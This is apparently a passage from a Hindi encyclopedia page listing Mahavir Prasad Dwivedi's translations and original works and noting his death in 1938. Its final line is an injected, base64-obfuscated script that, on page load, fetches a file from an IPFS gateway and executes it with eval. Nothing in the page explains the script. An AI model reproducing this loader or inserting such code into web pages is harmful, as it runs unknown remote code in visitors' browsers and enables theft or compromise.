पद्य (अनुवाद)

  • विनय विनोद 1889 ई.- भृतहरि के 'वैराग्य शतक' का दोहों में अनुवाद
  • विहार वाटिका 1890 ई.- गीत गोविन्द का भावानुवाद
  • स्नेह माला 1890 ई.- भृतहरि के 'श्रृंगार शतक' का दोहों में अनुवाद
  • श्री महिम्न स्तोत्र 1891 ई.- संस्कृत के 'महिम्न स्तोत्र का संस्कृत वृत्तों में अनुवाद
  • गंगा लहरी 1891 ई.- पण्डितराज जगन्नाथ की 'गंगा लहरी' का सवैयों में अनुवाद
  • ऋतुतरंगिणी 1891 ई.- कालिदास के 'ऋतुसंहार' का छायानुवाद
  • सोहागरात अप्रकाशित- बाइरन के 'ब्राइडल नाइट' का छायानुवाद
  • कुमारसम्भवसार 1902 ई.- कालिदास के 'कुमार सम्भवम' के प्रथम पाँच सर्गों का सारांश।

गद्य (अनुवाद)

  • भामिनी-विलास 1891 ई.- पण्डितराज जगन्नाथ के 'भामिनी विलास' का अनुवाद
  • अमृत लहरी 1896 ई.- पण्डितराज जगन्नाथ के 'यमुना स्तोत्र' का भावानुवाद
  • बेकन-विचार-रत्नावली 1901 ई.- बेकन के प्रसिद्ध निबन्धों का अनुवाद
  • शिक्षा 1906 ई.- हर्बर्ट स्पेंसर के 'एज्युकेशन' का अनुवाद
  • 'स्वाधीनता' 1907 ई.- जॉन स्टुअर्ट मिल के 'ऑन लिबर्टी' का अनुवाद
  • जल चिकित्सा 1907 ई.- जर्मन लेखक लुई कोने की जर्मन पुस्तक के अंग्रेज़ी अनुवाद का अनुवाद
  • हिन्दी महाभारत 1908 ई.-'महाभारत' की कथा का हिन्दी रूपान्तर
  • रघुवंश 1912 ई.- 'रघुवंश' महाकाव्य का भाषानुवाद
  • वेणी-संहार 1913 ई.- संस्कृत कवि भट्टनारायण के 'वेणीसंहार' नाटक का अनुवाद
  • कुमार सम्भव 1915 ई.- कालिदास के 'कुमार सम्भव' का अनुवाद
  • मेघदूत 1917 ई.- कालिदास के 'मेघदूत' का अनुवाद
  • किरातार्जुनीय 1917 ई.- भारवि के 'किरातार्जुनीयम्' का अनुवाद
  • प्राचीन पण्डित और कवि 1918 ई.- अन्य भाषाओं के लेखों के आधार पर प्राचीन कवियों और पण्डितों का परिचय
  • आख्यायिका सप्तक 1927 ई.- अन्य भाषाओं की चुनी हुई सात आख्यायिकाओं का छायानुवाद

मौलिक पद्य रचनाएँ

  • देवी स्तुति-शतक 1892 ई.
  • कान्यकुब्जावलीव्रतम 1898 ई.
  • समाचार पत्र सम्पादन स्तव: 1898 ई.
  • नागरी 1900 ई.
  • कान्यकुब्ज- अबला-विलाप 1907 ई.
  • काव्य मंजूषा 1903 ई.
  • सुमन 1923 ई.
  • द्विवेदी काव्य-माला 1940 ई.
  • कविता कलाप 1909 ई.|

मौलिक गद्य रचनाएँ

  • तरुणोपदेश (अप्रकाशित)
  • हिन्दी शिक्षावली तृतीय भाग की समालोचना 1901 ई.
  • वैज्ञानिक कोश 1906 ई.,
  • 'नाट्यशास्त्र' 1912 ई.
  • विक्रमांकदेवचरितचर्चा 1907 ई.
  • हिन्दी भाषा की उत्पत्ति 1907 ई.
  • सम्पत्तिशास्त्र 1907 ई.
  • कौटिल्य कुठार 1907 ई.
  • कालिदास की निरकुंशता 1912 ई.
  • वनिता-विलाप 1918 ई.
  • औद्यागिकी 1920 ई.
  • रसज्ञ रंजन 1920 ई.
  • कालिदास और उनकी कविता 1920 ई.
  • सुकवि संकीर्तन 1924 ई.
  • अतीत स्मृति 1924 ई.
  • साहित्य सन्दर्भ 1928 ई.
  • अदभुत आलाप 1924 ई.
  • महिलामोद 1925 ई.
  • आध्यात्मिकी 1928 ई.
  • वैचित्र्य चित्रण 1926 ई.
  • साहित्यालाप 1926 ई.
  • विज्ञ विनोद 1926 ई.
  • कोविद कीर्तन 1928 ई.
  • विदेशी विद्वान् 1928 ई.
  • प्राचीन चिह्न 1929 ई.
  • चरित चर्या 1930 ई.
  • पुरावृत्त 1933 ई.
  • दृश्य दर्शन 1928 ई.
  • आलोचनांजलि 1928 ई.
  • चरित्र चित्रण 1929 ई.
  • पुरातत्त्व प्रसंग 1929 ई.
  • साहित्य सीकर 1930 ई.
  • विज्ञान वार्ता 1930 ई.
  • वाग्विलास 1930 ई.
  • संकलन 1931 ई.
  • विचार-विमर्श 1931 ई.

उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन (1923 ई.), काशी नागरी प्रचारिणी सभा द्वारा किये गये अभिनन्दन (1933 ई. और प्रयाग में आयोजित 'द्विवेदी मेला', 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं।

मृत्यु

21 दिसम्बर सन् 1938 ई. को रायबरेली में महावीर प्रसाद द्विवेदी जी का स्वर्गवास हो गया। हिन्दी साहित्य का आचार्य पीठ अनिश्चितकाल के लिए सूना हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>